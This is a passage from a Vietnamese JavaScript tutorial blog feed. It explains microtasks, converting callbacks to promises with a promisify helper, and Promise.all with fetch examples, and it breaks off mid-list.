tại kết thúc.</p> <p>Nếu bạn cần đảm bảo rằng một đoạn mã được thực thi sau <code>.then/catch/finally</code>, bạn có thể đặt đoạn code đó vào chuỗi promise sau <code>.then</code>.</p> <p>Trong hầu hết các Javascript engine, bao gồm cả trình duyệt và Node.js, khái niệm microtasks được gắn chặt với <strong>vòng lặp sự kiện</strong> và <strong>macrotasks</strong>.</p> <p>Tuy nhiên, vì những khái niệm này không có liên quan trực tiếp đến promise, nên mình sẽ giới thiệu ở các bài viết sau.</p> <p>Tham khảo: <a href="https://javascript.info/microtask-queue">Microtasks</a></p>[email protected]<![CDATA[Chuyển callback thành promise trong JavaScript]]><![CDATA[Trong các bài viết trước, bạn đã biết cách sử dụng Callback và Promise để xử lý bất đồng bộ trong JavaScript. Và bạn cũng thấy rằng callback có khá nhiều nhược điểm. Vì vậy, bài…]]>https://completejavascript.com/chuyen-callback-thanh-promise-trong-javascript/https://completejavascript.com/chuyen-callback-thanh-promise-trong-javascript/<![CDATA[Callback]]><![CDATA[Promise]]>Fri, 14 Jul 2017 06:00:00 GMT<p>Trong các bài viết trước, bạn đã biết cách sử dụng <a href="/callback-la-gi-callback-trong-javascript/">Callback</a> và <a href="/promise-la-gi-promise-trong-javascript/">Promise</a> để xử lý bất đồng bộ trong JavaScript. Và bạn cũng thấy rằng callback có khá nhiều nhược điểm.</p> <p>Vì vậy, bài viết này mình hãy cùng tìm hiểu về cách để chuyển đổi callback sang promise trong JavaScript.</p> <p>Để hiểu rõ hơn, bạn hãy xem ví dụ sau đây.</p> <h2 id="ví-dụ-chuyển-callback-sang-promise" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-chuy%E1%BB%83n-callback-sang-promise" aria-label="ví dụ chuyển callback sang promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ chuyển callback sang promise</h2> <p>Tiếp tục với ví dụ mà mình đề cập từ bài viết về callback, đó là hàm <code>loadScript(src, callback)</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> script<span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Script load error for </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token comment">// loadScript('path/script.js', (err, script) => {...})</span></code></pre></div> <p>Hàm trên tải một đoạn mã JavaScript từ đường dẫn cho trước là <code>src</code>, rồi gọi <code>callback(err)</code> trong trường hợp có lỗi hoặc <code>callback(null, script)</code> khi tải thành công.</p> <p>Đó là quy ước thường được sử dụng với callback trong JavaScript.</p> <h2 id="chuyển-callback-thành-promise" style="position:relative;"><a href="#chuy%E1%BB%83n-callback-th%C3%A0nh-promise" aria-label="chuyển callback thành promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển callback thành promise</h2> <p>Sau đây, mình sẽ chuyển hàm trên từ callback thành promise.</p> <p>Cụ thể, mình tạo hàm mới <code>loadScriptPromise(src)</code>. Hàm này hoạt động tương tự như trên, nhưng trả về promise thay vì sử dụng callback.</p> <p>Nói cách khác, mình chỉ truyền vào hàm giá trị <code>src</code> mà không truyền <code>callback</code> và trả về một promise. Hàm này sẽ <code>resolve</code> khi tải <code>script</code> thành công, ngược lại thì <code>reject</code>.</p> <p>Đây là code chuyển callback thành promise:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">loadScriptPromise</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">src</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">loadScript</span><span class="token punctuation">(</span>src<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng:</span> <span class="token comment">// loadScriptPromise('path/script.js').then(...)</span></code></pre></div> <p>Như bạn có thể thấy, hàm mới là thực chất là một <strong>wrapper</strong> bọc lấy hàm ban đầu <code>loadScript</code>. Và rõ ràng, hàm <code>loadScriptPromise</code> đã khá tốt với cách dùng theo kiểu promise.</p> <p>Trong thực tế, bạn có thể phải chuyển callback thành promise với nhiều hàm khác nhau chứ không chỉ một hàm. Vì vậy, cách tốt nhất là mình viết một hàm <strong>helper</strong> cho việc này.</p> <p>Mình sẽ gọi hàm này là <code>promisify(f)</code> - nhận vào hàm <code>f</code> để chuyển thành promise và trả về một hàm <strong>wrapper</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">promisify</span><span class="token punctuation">(</span><span class="token parameter">f</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// trả về một hàm wrapper (*)</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// callback cho hàm f (**)</span> <span class="token keyword">function</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// push callback vào cuối danh sách arguments trong f</span> args<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>callback<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi hàm gốc</span> <span class="token function">f</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token operator">...</span>args<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token comment">// let loadScriptPromise = promisify(loadScript);</span> <span class="token comment">// loadScriptPromise(...).then(...);</span></code></pre></div> <p>Đoạn code trên có vẻ hơi phức tạp, nhưng về cơ bản cách này giống với những gì mình đã viết ở trên - khi chuyển hàm <code>loadScript</code> thành promise <code>loadScriptPromise</code>.</p> <p>Lời gọi hàm <code>promisify(f)</code> trả về một <strong>wrapper</strong> bọc xung quanh hàm <code>f</code> tại <code>(*)</code>. Hàm wrapper đó trả về một promise và <a href="/decorator-forwarding-ham-trong-javascript/">chuyển tiếp lời gọi hàm</a> đến hàm gốc <code>f</code>. Sau đó, kết quả được kiểm tra trong hàm callback tại <code>(**)</code>.</p> <p>Ở đây, hàm <code>promisify</code> giả sử rằng hàm ban đầu mong đợi một hàm callback với chính xác hai đối số <code>(err, result)</code>. Đó là cách làm phổ biến nhất.</p> <p>Sau đó, hàm callback có định dạng chính xác và <code>promisify</code> hoạt động tốt cho trường hợp như vậy.</p> <p>Nhưng điều gì sẽ xảy ra nếu hàm gốc<code>f</code> cần một hàm callback với nhiều đối số hơn như sau: <code>callback(err, res1, res2, ...)</code>?</p> <p>Mình có thể cải thiện hàm <strong>helper</strong> bằng cách:</p> <ul> <li>Khi được gọi dạng <code>promisify(f)</code>, hàm <code>promisify</code> hoạt động tương tự như trên.</li> <li>Khi được gọi dạng <code>promisify(f, true)</code>, hàm <code>promisify</code> trả về promise với việc <code>resolve</code> một mảng các kết quả.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// promisify(f, true) để trả về một mảng kết quả</span> <span class="token keyword">function</span> <span class="token function">promisify</span><span class="token punctuation">(</span><span class="token parameter">f<span class="token punctuation">,</span> manyArgs <span class="token operator">=</span> <span class="token boolean">false</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// callback</span> <span class="token keyword">function</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> <span class="token operator">...</span>results</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// nếu manyArgs thì resolve với một mảng kết quả</span> <span class="token function">resolve</span><span class="token punctuation">(</span>manyArgs <span class="token operator">?</span> results <span class="token operator">:</span> results<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> args<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>callback<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">f</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token operator">...</span>args<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token comment">// f = promisify(f, true);</span> <span class="token comment">// f(...).then(arrayOfResults => ..., err => ...);</span></code></pre></div> <p>Như bạn thấy về cơ bản, hàm này khá giống với cách làm trước đó. Nhưng <code>resolve</code> được gọi với một đối số hay một mảng là tùy thuộc vào giá trị của <code>manyArgs</code>.</p> <p>Đối với các định dạng hàm callback lạ hơn, chẳng hạn như không có <code>err</code>, kiểu như <code>callback(result)</code>, bạn có thể chuyển callback về promise theo cách riêng tùy từng trường hợp.</p> <p>Ngoài ra, có nhiều <strong>module</strong> có chức năng chuyển callback về promise linh hoạt hơn một chút, ví dụ như <a href="https://github.com/mikehall314/es6-promisify">es6-promisify</a>. Trong Node.js, có sẵn một hàm cho việc đó là: <a href="https://nodejs.org/api/util.html#utilpromisifyoriginal"><code>util.promisify</code></a>.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Chuyển callback thành promise là một cách tiếp cận tuyệt vời, đặc biệt là khi bạn sử dụng <code>async/await</code>.</p> <p>Tuy nhiên, không phải là mọi trường hợp đều tương đương khi chuyển callback về promise. Bởi vì, một promise chỉ có một kết quả, nhưng về mặt kỹ thuật, callback có thể được gọi nhiều lần.</p> <p>Vì vậy, cách chuyển callback về promise như trên chỉ phù hợp với các hàm gọi callback một lần.</p> <p>Tham khảo: <a href="https://javascript.info/promisify">Promisification</a></p>[email protected]<![CDATA[Các promise API trong JavaScript]]><![CDATA[Có 6 phương thức tĩnh (static) trong class Promise. Sau đây, mình sẽ trình bày cơ bản về các trường hợp sử dụng chúng. Promise.all Giả sử, bạn muốn nhiều promise thực hiện song…]]>https://completejavascript.com/promise-api-trong-javascript/https://completejavascript.com/promise-api-trong-javascript/<![CDATA[Promise]]>Thu, 13 Jul 2017 06:00:00 GMT<p>Có 6 phương thức tĩnh (static) trong class <code>Promise</code>. Sau đây, mình sẽ trình bày cơ bản về các trường hợp sử dụng chúng.</p> <h2 id="promiseall" style="position:relative;"><a href="#promiseall" aria-label="promiseall permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.all</h2> <p>Giả sử, bạn muốn nhiều promise thực hiện song song và đợi cho đến khi tất cả chúng sẵn sàng.</p> <p>Ví dụ bạn tải xuống một số URL một cách song song và xử lý nội dung khi tất cả hoàn tất.</p> <p>Đó là trường hợp mà bạn nên dùng <code>Promise.all</code> với cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span>iterable<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><code>Promise.all</code> nhận vào một <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a> - thường là một mảng các promise, và trả về một promise mới.</p> <p>Promise mới được giải quyết khi tất cả các promise thành phần được giải quyết và mảng kết quả của từng promise trở thành kết quả của promise mới.</p> <p>Ví dụ <code>Promise.all</code> bên dưới được giải quyết sau 3 giây và kết quả thu được là một mảng <code>[1, 2, 3]</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// 1</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// 2</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// 3</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1,2,3 - khi các promise thành phần được giải quyết</span></code></pre></div> <p><strong>Chú ý:</strong> thứ tự của các phần tử trong mảng kết quả giống như thứ tự các promise nguồn. Mặc dù, promise đầu tiên mất nhiều thời gian nhất để giải quyết, thì kết quả của promise đó vẫn là phần tử đầu tiên trong mảng kết quả.</p> <p>Một thủ thuật phổ biến là <strong>map</strong> một mảng dữ liệu công việc thành một mảng các promise, rồi đóng gói vào <code>Promise.all</code>.</p> <p>Ví dụ, nếu bạn có một mảng URL, bạn có thể gọi <code>fetch</code> với tất cả chúng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> urls <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"https://api.github.com/users/alex"</span><span class="token punctuation">,</span> <span class="token string">"https://api.github.com/users/anna"</span><span class="token punctuation">,</span> <span class="token string">"https://api.github.com/users/david"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// map từng URL thành promise với fetch</span> <span class="token keyword">let</span> requests <span class="token operator">=</span> urls<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fetch</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Promise.all đợi tất cả các công việc hoàn thành</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span>requests<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">responses</span><span class="token punctuation">)</span> <span class="token operator">=></span> responses<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>response<span class="token punctuation">.</span>url<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>response<span class="token punctuation">.</span>status<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Một ví dụ phức tạp hơn về việc lấy thông tin một mảng người dùng GitHub theo tên của họ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> names <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"anna"</span><span class="token punctuation">,</span> <span class="token string">"alex"</span><span class="token punctuation">,</span> <span class="token string">"david"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> requests <span class="token operator">=</span> names<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.github.com/users/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span>requests<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">responses</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// tất cả response được resolve thành công</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> response <span class="token keyword">of</span> responses<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>response<span class="token punctuation">.</span>url<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>response<span class="token punctuation">.</span>status<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> responses<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token comment">// map mảng response thành mảng của response.json() để đọc thông tin của chúng</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">responses</span><span class="token punctuation">)</span> <span class="token operator">=></span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span>responses<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">r</span><span class="token punctuation">)</span> <span class="token operator">=></span> r<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tất cả json được parse, "users" là mảng của các response</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">users</span> <span class="token operator">=></span> users<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token parameter">user</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> nếu bất kỳ promise thành phần nào bị từ chối thì promise được trả về từ <code>Promise.all</code> sẽ bị từ chối ngay lập tức với lỗi tương ứng, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Whoops!</span></code></pre></div> <p>Trong ví dụ trên, promise thứ hai bị từ chối sau 2 giây. Điều đó dẫn đến việc từ chối ngay lập tức <code>Promise.all</code>. Vì vậy, <code>.catch</code> sẽ thực thi: lỗi từ chối ở promise thứ hai trở thành kết quả của toàn bộ <code>Promise.all</code>.</p> <p><strong>Chú ý:</strong></p> <ul> <li>Trong trường hợp có lỗi, các promise khác sẽ bị bỏ qua. <ul> <li>Nếu một promise bị từ chối, <code>Promise.all</code> ngay lập tức từ chối, hoàn toàn không quan tâm những promise khác trong danh sách. Và kết quả của chúng bị bỏ qua.</li> 